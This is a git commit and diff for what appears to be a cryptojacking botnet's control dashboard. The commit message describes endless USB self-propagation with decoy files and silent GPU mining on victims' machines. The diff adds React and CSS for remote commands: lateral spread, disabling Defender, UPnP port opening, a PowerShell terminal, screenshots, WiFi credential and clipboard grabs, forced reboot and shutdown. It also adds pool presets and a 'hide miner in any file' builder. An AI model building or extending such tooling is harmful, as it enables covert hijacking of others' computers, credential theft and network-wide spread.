Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
2026-06-02 21:50:34 -07:00
parent 41b5ec7a88
commit ca66f5d048
34 changed files with 2369 additions and 277 deletions

View File

@@ -149,6 +149,11 @@ export const api = {
method: 'POST',
body: JSON.stringify({ action, ...payload }),
}),
sendWOL: (id: string, mac?: string) =>
fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
method: 'POST',
body: JSON.stringify(mac ? { mac } : {}),
}),
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),

View File

@@ -128,7 +128,7 @@
.tactical-bottom-row {
display: flex;
gap: 20px;
height: 250px;
height: 380px;
}
.drop-zone {
@@ -172,13 +172,32 @@
white-space: pre-wrap;
}
.terminal-placeholder { color: #555; font-style: italic; }
.terminal-titlebar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 5px 10px;
background: #0a0014;
border-bottom: 1px solid rgba(0,229,255,0.15);
flex-shrink: 0;
}
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
.terminal-placeholder { color: #555; font-style: italic; padding: 0; }
.log-line.log-ok { color: #00ff88; }
.log-line.log-err { color: #ff4444; }
.log-line.log-live { color: #888; font-size: 0.78rem; border-top: 1px solid rgba(255,255,255,0.03); padding-top: 2px; }
.log-line.log-warn { color: #ffaa00; }
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
/* Upgrade section */
.upgrade-group { grid-column: 1 / -1; }
@@ -212,4 +231,95 @@
font-size: 0.82rem;
}
.log-line { line-height: 1.45; word-break: break-all; }
.log-line { line-height: 1.45; word-break: break-all; }
/* Offline & busy badges in header */
.offline-badge {
font-size: 0.7rem;
padding: 3px 8px;
background: rgba(255,40,40,0.2);
border: 1px solid rgba(255,40,40,0.5);
border-radius: 4px;
color: #ff6666;
font-weight: bold;
letter-spacing: 0.04em;
}
.busy-badge {
font-size: 0.7rem;
padding: 3px 8px;
background: rgba(255,171,0,0.2);
border: 1px solid rgba(255,171,0,0.4);
border-radius: 4px;
color: #ffcc44;
animation: pulse-amber 1.2s ease-in-out infinite;
}
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
@keyframes pulse-amber {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
/* WOL section */
.wol-row { display: flex; flex-direction: column; gap: 0.5rem; }
.wol-toggle {
font-size: 0.8rem;
padding: 6px 12px;
border-radius: 4px;
border: 1px solid rgba(0,229,255,0.3);
background: rgba(0,229,255,0.06);
color: #00e5ff;
cursor: pointer;
transition: all 0.2s;
text-align: left;
}
.wol-toggle:hover { background: rgba(0,229,255,0.12); }
.wol-form {
display: flex;
gap: 0.5rem;
align-items: center;
flex-wrap: wrap;
}
.wol-mac-input {
flex: 1;
min-width: 220px;
background: rgba(0,0,0,0.5);
border: 1px solid rgba(0,229,255,0.25);
border-radius: 4px;
color: #e0e0e0;
padding: 6px 10px;
font-size: 0.82rem;
font-family: 'Consolas', monospace;
outline: none;
}
.wol-mac-input:focus { border-color: #00e5ff; }
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
/* Compact mode extras */
.compact-offline-banner {
font-size: 0.72rem;
color: #ff6666;
background: rgba(255,40,40,0.1);
border: 1px solid rgba(255,40,40,0.3);
border-radius: 4px;
padding: 3px 8px;
margin-bottom: 6px;
}
.compact-terminal {
margin-top: 6px;
background: #050505;
border: 1px solid #1a1a1a;
border-radius: 4px;
padding: 5px 8px;
font-family: 'Consolas', monospace;
font-size: 0.72rem;
max-height: 80px;
overflow-y: auto;
}
.compact-log-line {
color: #aaa;
line-height: 1.35;
white-space: pre-wrap;
word-break: break-all;
}
.compact-log-line:last-child { color: #e0e0e0; }

View File

@@ -4,6 +4,7 @@ import type { Agent, Build } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
import { formatHashrate } from '../../help/fleetFilters';
import './AgentRemoteActions.css';
const TERMINAL_MAX_LINES = 500;
@@ -22,6 +23,8 @@ interface Props {
/** @deprecated Pass commandResults instead. */
latestWsMessage?: { type: string; payload: unknown } | null;
onCommandSent?: (action: string) => void;
/** If true, inject a live stats snapshot into the terminal when agent updates */
showLiveStats?: boolean;
}
export default function AgentRemoteActions({
@@ -32,6 +35,7 @@ export default function AgentRemoteActions({
compact = false,
commandResults,
onCommandSent,
showLiveStats = false,
}: Props) {
const agentId = agentIdProp ?? agent?.id ?? '';
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
@@ -43,9 +47,12 @@ export default function AgentRemoteActions({
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
const lastStatsRef = useRef<string>('');
useEffect(() => {
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
}, []);
@@ -77,6 +84,43 @@ export default function AgentRemoteActions({
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [agentId]);
// Pre-fill WOL MAC from agent object when it becomes available
useEffect(() => {
if (agent?.mac_address && !wolMac) {
setWolMac(agent.mac_address);
}
}, [agent?.mac_address]);
// Live stats ticker — appends a concise status line whenever agent data changes.
// Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed.
const lastStatsPushRef = useRef(0);
useEffect(() => {
if (!showLiveStats || !agent || agent.status !== 'online') return;
const snapshot = [
agent.hashrate_15s?.toFixed(0),
agent.cpu_usage_pct?.toFixed(0),
agent.memory_usage_pct?.toFixed(0),
agent.cpu_temp_c,
].join('|');
if (snapshot === lastStatsRef.current) return;
const now = Date.now();
if (now - lastStatsPushRef.current < 15000) return;
lastStatsRef.current = snapshot;
lastStatsPushRef.current = now;
const parts: string[] = [
`XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`,
`CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`,
`RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`,
];
if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`);
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
}
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
addLog(`◈ LIVE ${parts.join(' │ ')}`);
}, [agent, showLiveStats, addLog]);
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
// Filters by _seq so the ring-buffer trim never makes us miss results.
useEffect(() => {
@@ -95,52 +139,74 @@ export default function AgentRemoteActions({
const clean = sanitizeScreenshotBase64(message);
if (downloadScreenshotFromBase64(clean, label)) {
setScreenshotData(`data:image/jpeg;base64,${clean}`);
addLog(`Screenshot saved — ${label}`);
addLog(`Screenshot saved — ${label}`);
} else {
addLog(`[SCREENSHOT] ${label}: invalid image data`);
addLog(`[SCREENSHOT] ${label}: invalid image data`);
}
} else {
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action) {
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
const icon = success ? '' : '✗';
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
}
}
}, [commandResults, agentId, addLog]);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
addLog('No agent selected');
addLog('No agent selected');
return;
}
if (agent && !isOnline) {
addLog('Agent is offline');
if (action !== 'wol' && agent && !isOnline) {
addLog(`⚠ Agent "${agentName}" is offline — command not sent`);
return;
}
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return;
if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return;
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
setBusy('wol');
try {
addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`);
const res = await api.sendWOL(agentId, args.mac as string | undefined);
if (res.success) {
addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`);
} else {
addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`);
}
} catch (err: unknown) {
addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`);
} finally {
setBusy(null);
}
return;
}
setBusy(action);
try {
if (action === 'screenshot') {
addLog(`Capturing desktop on ${agentName}`);
} else if (!compact) {
addLog(`> Executing ${action}...`);
addLog(`Capturing desktop on ${agentName}`);
} else {
addLog(` ${action}${agentId === 'all' ? 'FLEET' : agentName}`);
}
const res = await api.sendAgentCommand(agentId, action, args);
if (res.success === false) {
addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
return;
}
if (!compact) addLog(`> ${action} sent to ${agentId === 'all' ? 'fleet' : agentName}`);
if (action !== 'screenshot') addLog(`✓ command queued`);
onCommandSent?.(action);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Command failed';
addLog(`API Error: ${msg}`);
addLog(` ${msg}`);
} finally {
setBusy(null);
}
@@ -177,13 +243,23 @@ export default function AgentRemoteActions({
if (compact) {
return (
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
{!isOnline && (
<div className="compact-offline-banner"> offline commands disabled</div>
)}
<div className="agent-remote-row">
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
<button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button>
<button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner"></button>
<button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner"></button>
<button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine"></button>
<button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine"></button>
<button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN"></button>
<button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process"></button>
</div>
{terminalLog.length > 0 && (
<div className="compact-terminal">
{terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)}
</div>
)}
</div>
);
}
@@ -202,8 +278,12 @@ export default function AgentRemoteActions({
<div className="tactical-panel">
<div className="tactical-header">
<div className="target-indicator">
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} />
<div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} />
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
{!isFleet && !isOnline && (
<span className="offline-badge">OFFLINE commands disabled</span>
)}
{busy && <span className="busy-badge"> {busy}</span>}
</div>
</div>
@@ -235,10 +315,41 @@ export default function AgentRemoteActions({
<div className="action-group power-group">
<h3>System Power</h3>
<div className="button-grid">
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div>
<div className="wol-row" style={{ marginTop: '0.75rem' }}>
<button
type="button"
className="btn-cyan wol-toggle"
onClick={() => setWolExpanded((p) => !p)}
title="Send Wake-on-LAN magic packet to power on a sleeping machine"
>
Wake Machine (WOL) {wolExpanded ? '▲' : '▼'}
</button>
{wolExpanded && (
<div className="wol-form">
<input
type="text"
className="wol-mac-input"
placeholder="MAC address e.g. AA:BB:CC:DD:EE:FF"
value={wolMac}
onChange={(e) => setWolMac(e.target.value)}
/>
<button
type="button"
className="btn-cyan"
disabled={!!busy}
onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})}
>
{busy === 'wol' ? 'Sending…' : 'Send Packet'}
</button>
</div>
)}
</div>
</div>
<div className="action-group upgrade-group">
@@ -395,11 +506,23 @@ export default function AgentRemoteActions({
</div>
<div className="master-terminal">
<div className="terminal-titlebar">
<span className="terminal-title"> REMOTE TERMINAL {agentId === 'all' ? 'FLEET' : agentName}</span>
<button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button>
</div>
<div className="terminal-output">
{terminalLog.length === 0 ? (
<span className="terminal-placeholder">Awaiting telemetry...</span>
<div className="terminal-placeholder">
<div> Terminal ready send a command to see output here</div>
{isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>}
{!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline only WOL is available</div>}
</div>
) : (
terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
terminalLog.map((log, i) => (
<div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}>
{log}
</div>
))
)}
<div ref={logEndRef} />
</div>
@@ -409,11 +532,11 @@ export default function AgentRemoteActions({
type="text"
value={customCmd}
onChange={(e) => setCustomCmd(e.target.value)}
placeholder="Enter PowerShell command..."
placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'}
autoComplete="off"
disabled={!isOnline}
/>
<button type="submit" disabled={!isOnline}>EXEC</button>
<button type="submit" disabled={!isOnline || !!busy}>EXEC</button>
</form>
</div>
</div>

View File

@@ -0,0 +1,178 @@
import { useEffect, useMemo, useState } from 'react';
import type { BackupPool } from '../types';
import {
RVN_POOL_PRESETS,
DEFAULT_RVN_PRESET_IDS,
orderedRVNPoolsFromSelection,
detectRVNPresetIds,
applyRVNPoolsToForgeFields,
type RVNPoolForgeFields,
} from '../help/poolPresets';
import './PoolPresetPicker.css';
interface RVNPoolPresetPickerProps {
host: string;
port: number;
tls: boolean;
pass: string;
backups?: BackupPool[];
onChange: (next: RVNPoolForgeFields) => void;
}
export default function RVNPoolPresetPicker({
host,
port,
tls,
pass,
backups = [],
onChange,
}: RVNPoolPresetPickerProps) {
const [selectedIds, setSelectedIds] = useState<string[]>(() => {
const detected = detectRVNPresetIds(host, port, tls, backups);
return detected.length ? detected : [...DEFAULT_RVN_PRESET_IDS];
});
const [useCustom, setUseCustom] = useState(false);
const [customHost, setCustomHost] = useState('');
const [customPort, setCustomPort] = useState(6060);
const [customTls, setCustomTls] = useState(false);
useEffect(() => {
const detected = detectRVNPresetIds(host, port, tls, backups);
if (detected.length) setSelectedIds(detected);
}, [host, port, tls, backups]);
const orderedPreview = useMemo(() => {
const custom: BackupPool | null = useCustom && customHost.trim()
? { host: customHost.trim(), port: customPort || 6060, tls: customTls, pass: pass || 'x' }
: null;
return orderedRVNPoolsFromSelection(selectedIds, pass || 'x', custom);
}, [selectedIds, pass, useCustom, customHost, customPort, customTls]);
const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => {
const custom: BackupPool | null =
customOn && cHost.trim()
? { host: cHost.trim(), port: cPort || 6060, tls: cTls, pass: pass || 'x' }
: null;
const pools = orderedRVNPoolsFromSelection(ids, pass || 'x', custom);
onChange(applyRVNPoolsToForgeFields(pools));
};
const togglePreset = (id: string) => {
const next = selectedIds.includes(id)
? selectedIds.filter((x) => x !== id)
: [...selectedIds, id];
if (!next.length) return;
setSelectedIds(next);
applySelection(next, useCustom, customHost, customPort, customTls);
};
const grouped = useMemo(() => {
const map = new Map<string, typeof RVN_POOL_PRESETS>();
for (const p of RVN_POOL_PRESETS) {
const list = map.get(p.provider) ?? [];
list.push(p);
map.set(p.provider, list);
}
return [...map.entries()];
}, []);
return (
<div className="pool-preset-picker rvn-pool-picker">
<p className="form-hint pool-preset-hint">
Select one or more Ravencoin (KawPoW) pools. Failover order applies primary is tried first.
</p>
<div className="pool-preset-grid">
{grouped.map(([provider, presets]) => (
<div key={provider} className="pool-preset-group">
<span className="pool-preset-provider font-tech" style={{ color: 'var(--neon-gold)' }}>
{provider}
</span>
{presets.map((p) => (
<label key={p.id} className="pool-preset-option checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={selectedIds.includes(p.id)}
onChange={() => togglePreset(p.id)}
/>
<span>
<code>{p.host}:{p.port}</code>
{p.tls ? ' TLS' : ''}
<span className="pool-preset-sub"> ({p.hint})</span>
</span>
</label>
))}
</div>
))}
</div>
<div className="pool-preset-custom">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={useCustom}
onChange={(e) => {
const on = e.target.checked;
setUseCustom(on);
applySelection(selectedIds, on, customHost, customPort, customTls);
}}
/>
<span>Add custom pool</span>
</label>
{useCustom && (
<div className="pool-preset-custom-fields form-row">
<input
type="text"
className="input mono"
placeholder="pool.example.com"
value={customHost}
onChange={(e) => {
setCustomHost(e.target.value);
applySelection(selectedIds, true, e.target.value, customPort, customTls);
}}
/>
<input
type="number"
className="input"
min={1}
max={65535}
value={customPort}
onChange={(e) => {
const v = e.target.valueAsNumber || 6060;
setCustomPort(v);
applySelection(selectedIds, true, customHost, v, customTls);
}}
/>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={customTls}
onChange={(e) => {
setCustomTls(e.target.checked);
applySelection(selectedIds, true, customHost, customPort, e.target.checked);
}}
/>
<span>TLS</span>
</label>
</div>
)}
</div>
{orderedPreview.length > 0 && (
<div className="pool-preset-order">
<span className="font-tech">Failover order</span>
<ol>
{orderedPreview.map((p, i) => (
<li key={`${p.host}:${p.port}:${p.tls}`}>
{i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port}
{p.tls ? ' (TLS)' : ''}
</li>
))}
</ol>
</div>
)}
</div>
);
}

View File

@@ -370,7 +370,7 @@ describe('AgentRemoteActions', () => {
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
});
expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument();
expect(screen.getByText(/Awaiting telemetry/i)).toBeInTheDocument();
expect(screen.getByText(/Terminal ready/i)).toBeInTheDocument();
});
it('disables recon buttons when agent offline', async () => {

View File

@@ -144,6 +144,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),

View File

@@ -80,6 +80,114 @@ export const XMR_POOL_PRESETS: PoolPreset[] = [
export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const;
// ─── Ravencoin (RVN / KawPoW) pool presets ───────────────────────────────────
export interface RVNPoolPreset {
id: string;
provider: string;
host: string;
port: number;
tls: boolean;
hint: string;
}
export const RVN_POOL_PRESETS: RVNPoolPreset[] = [
{
id: '2miners-rvn',
provider: '2Miners',
host: 'rvn.2miners.com',
port: 6060,
tls: false,
hint: ':6060',
},
{
id: 'herominers-rvn',
provider: 'HeroMiners',
host: 'rvn.herominers.com',
port: 1140,
tls: false,
hint: ':1140',
},
{
id: 'minerpool-rvn',
provider: 'MinePool',
host: 'us.rvn.minepool.io',
port: 3333,
tls: false,
hint: ':3333',
},
{
id: 'woolypooly-rvn',
provider: 'WoolyPooly',
host: 'rvn.woolypooly.com',
port: 55555,
tls: false,
hint: ':55555',
},
{
id: 'ravenminer',
provider: 'RavenMiner',
host: 'us.ravenminer.com',
port: 3838,
tls: false,
hint: ':3838',
},
{
id: 'nanopool-rvn',
provider: 'Nanopool',
host: 'rvn-us-west1.nanopool.org',
port: 12222,
tls: false,
hint: ':12222',
},
];
export const DEFAULT_RVN_PRESET_IDS = ['2miners-rvn', 'herominers-rvn', 'ravenminer'] as const;
export interface RVNPoolForgeFields {
rvn_pool_host: string;
rvn_pool_port: number;
rvn_pool_tls: boolean;
rvn_backup_pools: BackupPool[];
}
export function orderedRVNPoolsFromSelection(
presetIds: string[],
pass: string,
custom?: BackupPool | null,
): BackupPool[] {
const out: BackupPool[] = [];
const seen = new Set<string>();
for (const id of presetIds) {
const preset = RVN_POOL_PRESETS.find((p) => p.id === id);
if (!preset) continue;
const key = endpointKey(preset.host, preset.port, preset.tls);
if (seen.has(key)) continue;
seen.add(key);
out.push({ host: preset.host, port: preset.port, tls: preset.tls, pass });
}
if (custom?.host?.trim() && custom.port > 0) {
const key = endpointKey(custom.host, custom.port, !!custom.tls);
if (!seen.has(key)) out.push({ ...custom, pass: custom.pass || pass || 'x' });
}
return out;
}
export function applyRVNPoolsToForgeFields(pools: BackupPool[]): RVNPoolForgeFields {
const { primary, backups } = splitPrimaryAndBackups(pools);
if (!primary) return { rvn_pool_host: '', rvn_pool_port: 6060, rvn_pool_tls: false, rvn_backup_pools: [] };
return { rvn_pool_host: primary.host, rvn_pool_port: primary.port, rvn_pool_tls: primary.tls, rvn_backup_pools: backups };
}
export function detectRVNPresetIds(host: string, port: number, tls: boolean, backups: BackupPool[] = []): string[] {
const keys = new Set<string>();
keys.add(endpointKey(host, port, tls));
for (const b of backups) {
if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls));
}
return RVN_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id);
}
function endpointKey(host: string, port: number, tls: boolean): string {
return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`;
}

View File

@@ -9,7 +9,8 @@ export function sanitizeScreenshotBase64(raw: string): string {
}
}
if (best.length >= 100) return best;
return trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
const fallback = trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
return fallback.length >= 100 ? fallback : '';
}
export function downloadScreenshotFromBase64(

View File

@@ -213,6 +213,12 @@ export default function AgentsPage() {
} catch (err) {
console.error(err);
}
// Auto-fetch sysinfo so the terminal is pre-populated immediately
if (agent.status === 'online') {
setTimeout(() => {
api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
}, 300);
}
};
const saveMeta = async () => {
@@ -606,6 +612,7 @@ export default function AgentsPage() {
agent={selectedAgent}
online={selectedAgent.status === 'online'}
commandResults={commandResults}
showLiveStats
onCommandSent={(action: string) => {
if (action === 'get_log') refreshLog(true);
}}

View File

@@ -85,7 +85,7 @@ describe('BuilderPage', () => {
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
renderBuilder();
expect(
await screen.findByText('Failed to load server info — is the control server running?')
await screen.findByText('Failed to load server config — is the control server running?')
).toBeInTheDocument();
});
@@ -101,7 +101,7 @@ describe('BuilderPage', () => {
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
expect(screen.getByText('Pool Host')).toBeInTheDocument();
expect(screen.getByText('Mining Pools')).toBeInTheDocument();
});
it('submits forge when preflight passes', async () => {
@@ -181,7 +181,7 @@ describe('BuilderPage', () => {
screen.getByRole('button', { name: /Hide miner in any file/i })
);
expect(
screen.getByText(/Fusion selected — drop your files below and forge/i)
screen.getByText(/Drop any file — PDF, video, document/i)
).toBeInTheDocument();
});
});

View File

@@ -30,6 +30,7 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
@@ -1133,6 +1134,73 @@ export default function BuilderPage() {
</div>
</div>
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
<div className="form-section">
<ForgeSectionHeader
title="GPU Mining — Ravencoin"
badge="baked"
description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
/>
<div className="form-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={!!form.gpu_enabled}
onChange={(e) => updateField('gpu_enabled', e.target.checked)}
/>
<span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
</label>
<p className="form-hint">
When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
</p>
</div>
{form.gpu_enabled && (
<>
<div className="form-group">
<label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
<input
type="text"
className="input mono"
placeholder="R... (your RVN address)"
value={form.rvn_wallet ?? ''}
onChange={(e) => updateField('rvn_wallet', e.target.value)}
/>
